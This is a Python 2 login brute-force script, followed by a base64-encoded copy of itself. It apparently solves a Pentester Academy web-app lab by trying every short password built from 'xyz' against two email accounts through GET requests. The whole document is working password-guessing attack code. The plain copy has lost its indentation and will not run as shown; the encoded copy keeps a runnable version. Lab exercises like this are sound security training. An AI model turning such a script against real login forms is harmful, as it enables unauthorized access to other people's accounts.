#!/usr/bin/env python
'''
Coded By Ahmed Sherif @iSecur1ty
'''
import urllib2
from termcolor import cprint,colored
pass_list = 'xyz'
for current in xrange(5):
a = [i for i in pass_list]
for y in xrange(current):
a = [x+i for i in pass_list for x in a]
username = ['jack@pentesteracademy.com','admin@pentesteracademy.com']
for user in username:
for pw in a :
print "Username is %s and password is %s" %(user,pw)
url = ('http://p...content-available-to-author-only...t.com/lab/webapp/1?email='+user+'&password='+pw)
request = urllib2.Request(url)
response = urllib2.urlopen(request)
out = response.read()[2486:2492]
print out
if (out !="Failed"):
cprint("Success with username"+user +" and password " + pw,'red')
exit(0)
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCicnJwpDb2RlZCBCeSBBaG1lZCBTaGVyaWYgQGlTZWN1cjF0eQoKJycnCgppbXBvcnQgdXJsbGliMgpmcm9tIHRlcm1jb2xvciBpbXBvcnQgY3ByaW50LGNvbG9yZWQKCnBhc3NfbGlzdCA9ICd4eXonCgoKCmZvciBjdXJyZW50IGluIHhyYW5nZSg1KToKCWEgPSBbaSBmb3IgaSBpbiBwYXNzX2xpc3RdCglmb3IgeSBpbiB4cmFuZ2UoY3VycmVudCk6CgkJYSA9IFt4K2kgZm9yIGkgaW4gcGFzc19saXN0IGZvciB4IGluIGFdCgkKdXNlcm5hbWUgPSBbJ2phY2tAcGVudGVzdGVyYWNhZGVteS5jb20nLCdhZG1pbkBwZW50ZXN0ZXJhY2FkZW15LmNvbSddCgpmb3IgdXNlciBpbiB1c2VybmFtZToKCWZvciBwdyBpbiBhIDoKCQlwcmludCAiVXNlcm5hbWUgaXMgJXMgYW5kIHBhc3N3b3JkIGlzICVzIiAlKHVzZXIscHcpCgkJdXJsID0gKCdodHRwOi8vcC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4udC5jb20vbGFiL3dlYmFwcC8xP2VtYWlsPScrdXNlcisnJnBhc3N3b3JkPScrcHcpCgkJcmVxdWVzdCA9IHVybGxpYjIuUmVxdWVzdCh1cmwpCiAgICAgICAgICAgICAgICByZXNwb25zZSA9IHVybGxpYjIudXJsb3BlbihyZXF1ZXN0KQoJCW91dCA9IHJlc3BvbnNlLnJlYWQoKVsyNDg2OjI0OTJdCgkJcHJpbnQgb3V0IAoJCWlmIChvdXQgIT0iRmFpbGVkIik6CgkJCWNwcmludCgiU3VjY2VzcyB3aXRoIHVzZXJuYW1lIit1c2VyICsiICBhbmQgcGFzc3dvcmQgIiArIHB3LCdyZWQnKQoJCQlleGl0KDAp